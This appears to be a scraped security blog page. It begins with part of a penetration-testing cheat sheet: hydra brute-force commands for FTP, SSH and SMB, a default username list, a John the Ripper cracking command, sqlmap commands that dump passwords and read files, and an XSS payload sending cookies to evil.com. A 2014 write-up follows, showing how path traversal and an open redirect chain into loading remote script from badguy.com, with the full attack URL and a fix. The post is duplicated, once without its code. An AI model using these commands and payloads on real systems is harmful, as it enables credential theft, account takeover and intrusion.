| hydra -L users -P passwords -M 21.txt ftp | Brute ftp |
| hydra -L users -P passwords -M 22.txt ssh | Brute ssh |
| hydra -L users -P passwords -M 445.txt smb | Brute smb |
| User List |
|---|
| root |
| admin |
| administrator |
| manager |
| crest |
| crt |
| user |
PASSWORD CRACKING
| Command | Description |
|---|---|
| john --wordlist=/usr/share/wordlists/rockyou.txt hashes | JTR default |
WEB APP
| Command | Description |
|---|---|
| document.write('<img src="http://evil.com/x.gif?cookie=' + document.cookie + '" />) | XSS steal cookie |
| sqlmap -u <target> -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/test.php" | Targeted scan |
| sqlmap -u http://example.com --forms --batch --crawl=10 --cookie=jsessionid=12345 --level=5 --risk=3 | Automated scan |
Wednesday, 26 November 2014
Traversal to Redirect to Remote JS XSS
I recently came across an interesting snippet of Javascript that looked exploitable but the path to exploitation wasn't that obvious. This post will be about how I achieved a working XSS.
The Code
The vulnerable page was loaded with a URL something like this:
Can you spot how to exploit it? :)
In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".
Once the above script runs you end up with something like:
From Text to Traversal
In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.
We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:
But we still have no way to load our own JS...or do we?
From Traversal to Dead End?
The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.
For example:
From Redirection to JS
The open redirection was pretty standard something like:
Combining the traversal and redirection the complete attack URL was:
Which would cause the in-page JS to create a script tag that would load our malicious remote JS:
Congratulations you've achieved XSS by loading remote JS from traversal and redirection!
The Fix
I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.
Final Thoughts
I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)
If you have any questions or feedback just drop me a comment below. Pwndizzle out.
The Code
The vulnerable page was loaded with a URL something like this:
https://app.test.com/timezone?c=testAnd contained Javascript looking something like this:
var country = location.search.slice(3);
var s = document.createElement('script');
var src = '/js/timezone-js/timezone-data[' + country + '].min.js';
s.src = src;
document.getElementsByTagName('head')[0].appendChild(s);
Can you spot how to exploit it? :)
============================================
In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".
Once the above script runs you end up with something like:
<script src="/js/timezone-js/timezone-data[test].min.js"></script>So how can we exploit this?
From Text to Traversal
In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.
We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:
https://app.test.com/timezone?c=/../../../js/timezone-js/timezonedata[UK.min.js]?
But we still have no way to load our own JS...or do we?
From Traversal to Dead End?
The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.
For example:
https://app.test.com/timezone?c=/../../../../uploads/file?Unfortunately I couldn't find such a place....but I did have an open redirection I could play with.
From Redirection to JS
The open redirection was pretty standard something like:
https://app.test.com/accounts/logout/?next=https://badguy.comOpen redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.
Combining the traversal and redirection the complete attack URL was:
https://app.test.com/timezone?c=/../../../../accounts/logout/?next=https://badguy.com/script.js?
Which would cause the in-page JS to create a script tag that would load our malicious remote JS:
<script src="/../../../../accounts/logout/?next=https://badguy.com/script.js?].min.js"><script>
Congratulations you've achieved XSS by loading remote JS from traversal and redirection!
The Fix
I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.
country = country.replace(/[^\w\-]/g, '');
Final Thoughts
I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)
If you have any questions or feedback just drop me a comment below. Pwndizzle out.
Subscribe to:
Posts (Atom)